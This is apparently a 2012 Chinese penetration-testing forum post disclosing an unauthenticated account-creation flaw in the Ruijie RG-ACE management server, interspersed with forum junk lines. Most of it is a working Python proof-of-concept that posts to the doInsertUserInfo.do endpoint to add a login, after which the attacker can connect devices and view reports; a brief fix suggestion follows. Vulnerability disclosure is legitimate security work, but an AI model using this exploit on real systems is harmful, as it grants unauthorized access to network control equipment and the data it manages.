中国网络渗透测试联盟
标题:
锐捷应用控制引擎管理服务器可以增加用户
[打印本页]
作者:
admin
时间:
2012-12-10 10:16
标题:
锐捷应用控制引擎管理服务器可以增加用户
锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接
http://www.ruijie.com.cn/service/down-search.aspx
显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）
, t7 S4 ? ~+ S5 e- u$ s
J* f- ?+ T/ ^" E
( t( d2 Q8 e1 u0 b$ z8 f& ^. s
测试的具体版本是
4 v2 b: L: B' d4 R+ n$ G1 z3 m3 m
产品名称: 锐捷应用控制引擎
) g8 U: G3 N+ i; t
版本号: 3.1.36.001 TC
$ a- Y+ L; `6 G+ K( z% U
编译时间: 201104291730
' D3 d( N) |) a! l, b8 X. v
; q, J( M Q( G+ C# z9 j7 t) Y) O7 V# {
) \2 V" A- u) j. T t& P0 |
漏洞证明：
: S6 I# ]2 {' @ {: _
" X! K5 W: V/ _( I |! V9 W3 q
7 D' z4 W; q( O/ y7 N% b( E
% B/ r6 m0 b6 @- a: b
$ ^+ L) J5 u: {* d
9 }1 s# ~/ F2 \7 `" p+ ~
7 A6 j1 h: O" Z! E. g7 |
执行脚本
. C2 L/ x, Y2 D: l% A" O
#! /usr/bin/env python
3 U& W/ ]6 e; z1 p
#coding=gbk
1 E* B0 i6 J* v$ f
#RG-ACE管理服务器 V3.1.36.001
# r4 t6 I) Z' l+ g3 F
import urllib2, urllib,cookielib
2 [1 N0 N( {1 A" i" g+ u
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
+ c& n1 A! o* d1 {( n
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
# U. A R& y* Q7 Q: [( d& h9 w
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
& ]% ?$ w& L$ M
post=(("event","userManager.doInsertUserInfo"),
0 m9 o" O$ x9 H: F$ u' G
("useractionname","addButtonValue"),
) i, A2 o: w. S8 x
("useropermanager","userManager"),
* _4 v. [% }3 D2 G* S6 m
("userName","t"), #######账号自己加
, [5 B) m' Q% M5 E7 j6 _8 m( T
("pwd","aaaaaa"),######密码自己加
& w5 ^* c: T: e
("trueName","ad"),
, I3 F( M$ R# }7 O! a
("email",""),
/ B' K4 Z4 r4 b0 X/ F& A
("mobilePhone",""),
0 u. Y: {+ C ^! T
("officePhone",""),
3 _- J$ Z1 s9 L! {
("addr",""),
* K! S6 I7 L$ g7 U( b. Q
("submit","确定"))
/ u/ G2 M9 Q* ]9 X. m
urllib2.install_opener(opener)
* B9 T) n( I1 n( A
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
" y$ R) j& @5 z+ [ @
print "Done"
0 x" }# z2 Q& c! K5 r
2 @# q! c. T; {3 _# s' ?
登录，连接设备
& r$ g, e+ [- m8 [2 S& G6 H, V
) S0 F+ e$ A3 ^$ r+ P
& a5 p8 L. p8 ~5 w Y( _
) ^7 G# g) Q- t" b5 e2 [+ l. o
1 k% z1 k9 {) C. P5 n9 M
3 j, z+ H8 K' T& @" U* V
默认的管理员admin权限更大点
; u& P8 _5 Z1 i1 [
! X1 c- B, X! Y& c+ l
+ }8 {4 |% a7 G8 h0 l% o# p, A; E
$ V5 F' d- s3 ?& w) O. z4 _# p
: e Y2 s6 S6 f! E
4 B& v! e8 |8 W
修复方案：
6 ^& n0 n; D7 u# L% l/ \1 |
加强对接口的权限验证
2 O8 l- P7 N3 Z& g) Z3 V9 s2 {
; u( r! Q5 ~9 K' B/ J) U
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2